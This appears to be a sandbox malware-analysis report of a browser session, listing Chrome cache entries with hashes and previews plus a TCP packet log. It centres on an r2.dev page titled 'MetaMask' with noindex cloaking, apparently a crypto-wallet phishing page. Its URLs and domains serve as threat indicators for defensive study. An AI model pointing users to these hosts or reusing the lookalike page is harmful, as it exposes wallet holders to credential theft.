Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9+kug4Rvpn:ObPH/+ngMpn
MD5:	E79009F2D77372CE5F7AD0EA7DB2076D
SHA1:	62C4CBDFAB572CA13E3BF781ED1BD8B9768815B2
SHA-256:	FCFC5F4D9607BFA569AE54F71607F07890BAF4C94046F6815CBC35B400CCD143
SHA-512:	3214D8E6F072BC720BEDBAE21AAB7A5E8E85B897A22F79C1F457C86D66BCE88929F1B45699ECF6FAC2430644C022040B427D9EE52B5EC160C79018E7B3DFC050
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/logo.png
Preview:	Not Found - Request ID: 01J8XJSTAPD4K5ACW9MHP4ACTJ

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.846370130156179
Encrypted:	false
SSDEEP:	3:ObynQA2d991sFDn:ObPH/HMDn
MD5:	ED43E18E1545A7E05A674D79EDA35672
SHA1:	7209E90B2BF07671F994DD820AC7AF2EC9C59686
SHA-256:	2FE3AC6F25C9463AECF97F257F15BE5136EE9B15B1BB50E93AAD7C5E2D596F86
SHA-512:	4EB0D79043659DACE7A9B5CD8E5DA58098D3442C089D012432B837082B3914F70225446CE2D0FE5378DD16CE2CF92CD713F4BF1F62CF5C214A2640BA4DEE7537
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/confirm.png
Preview:	Not Found - Request ID: 01J8XJSW137Z0A0J3D3EBQZHY6

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1100), with no line terminators
Category:	downloaded
Size (bytes):	1100
Entropy (8bit):	3.6498905601708467
Encrypted:	false
SSDEEP:	6:wVqhhhhhhhhhhdimqhhhhhhhhhhhhhxmqhhhhhhhhhhhhhhhhDjqhhhhhhhhhhhW:wdmmjpmy
MD5:	8E4F858DC43CE5CD88CB1EB0C7FBBB00
SHA1:	66A55745B6E025FBD0D919858F04B87FBB977D6E
SHA-256:	2158C29A6D4F27D87634D2EA188345FECEB5D744A666EF20B079F3DB00A06344
SHA-512:	45F78A52C72041A05F51F70AB8BB6979246455B9AADDF922404EE8D67B1957EA8C05F3A71EF5F6BBA5104B42ABFCDB9D2CDA851512398CB0E12EEE2F18F5D6EB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISXQlCSDzJBaTGJxIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBJyCTXWKr1q0IUbEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEocBCcV7ouYAy4HJEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEpwBCTj7WVpsnRC7EgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcErEBCZXoY3ewJdNzEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQc?alt=proto
Preview:	CmwKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKhwEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKogEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKvQEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAK2AEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQc

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.8063701301561785
Encrypted:	false
SSDEEP:	3:ObynQA2d99gnQ6k8U2Pyf:ObPH/EDa
MD5:	92F69E8FFBCFDB15DE6A00521A04521D
SHA1:	4D7245F9FAA74CE7E1610ED265D4E9C1E5D6CE05
SHA-256:	35DC83B62EFF21D362C6E23DFCBD30FC127D0420F73D6D2BB56A3F4F0D8FE8B5
SHA-512:	2C96D387EDE943E301FC96F51815FA20E1ABCC00D6E6D997E20A96BD634ECA179F1A5DFF24C964065AE3A047F9C300EE5F1C7982B0D24BB643505DB52B75F2C7
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/tada.png
Preview:	Not Found - Request ID: 01J8XJSWEB5JN33FZQ4WSVFWK5

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	dropped
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d99gSyt9Q+My:ObPH/ySy+y
MD5:	EE52F3416D7780CDFEBB27ED007BAF28
SHA1:	5D9D221C0E2BD5C8FD8B4ADF41594AAD92B2A0F2
SHA-256:	E0E5284BE1ADE77AB05D8F678A3106C4E3D5960D8D243E19B9227CFD7EA232AE
SHA-512:	28B272964F008B7C5671F49F06A386D2CFFB86CA9635DCF4D3466DB53B26A5F64411E4C1C7CAB2D9A22856E78808340B194AB1B8BA0AE059C0663FA0D9A03B71
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/full.png
Preview:	Not Found - Request ID: 01J8XJSW10D7WHBCZTY5PQZZYW

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2144), with CRLF line terminators
Category:	downloaded
Size (bytes):	65293
Entropy (8bit):	4.720727621414044
Encrypted:	false
SSDEEP:	384:i3kYGjqydimyX7sK8Oc0uEj5UuehJ9VGk+0upXI0jRSOClJAe8eUEGxFg4WRrjBU:i3kvjqy5kikTYXa1oG33CgJ
MD5:	DEC053EB413B1B167B8D00F6F60D0C76
SHA1:	E5273D9B819360443B26A18E585518910E59B011
SHA-256:	983020B108188C02FBC2AC35F5200E236B5883CD21659C2024500C2A903E191B
SHA-512:	D93C6994509D8C9506899C4DAABB5C14D9E1F90795DFD11A34BC4EB383259DF83778BC4B7127931F6094F2DAEC324259ECC7398717B0D4D355EC463581426427
Malicious:	false
Reputation:	low
URL:	https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>MetaMask</title>.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="noindex">.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="nosnippet">.. <link rel="icon" href="https://bestfilltype.netlify.app/icon.png">.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	downloaded
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
URL:	https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js
Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:27:19.703320026 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:19.703321934 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:19.797072887 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:29.152637959 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:29.152946949 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:29.157561064 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:29.157708883 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:29.158457041 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:29.162184954 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:29.162307024 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:29.163235903 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:29.336385965 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:29.478390932 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:29.478410006 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:29.626157999 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:29.640098095 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:29.640140057 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:29.640211105 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:29.640517950 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:29.640536070 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:29.693264961 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:30.103804111 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.150932074 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.166882038 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:30.171643972 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:30.171833038 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:30.208472967 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.208491087 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.209950924 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.210033894 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.235949039 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.236083031 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.236186028 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.236208916 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.282804012 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.393246889 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393280029 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393302917 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393325090 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393346071 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393402100 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393425941 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393455029 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.393475056 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.393507004 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.393532038 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.393856049 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.397929907 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.397978067 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.398024082 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.398035049 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.398088932 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.480480909 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.480710030 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.480736971 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.480760098 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.480781078 CEST	443	49711	162.159.140.237	192.168.2.5
Sep 29, 2024 02:27:30.480899096 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.480899096 CEST	49711	443	192.168.2.5	162.159.140.237
Sep 29, 2024 02:27:30.480920076 CEST	443	49711	162.159.140.237	192.168.2.5
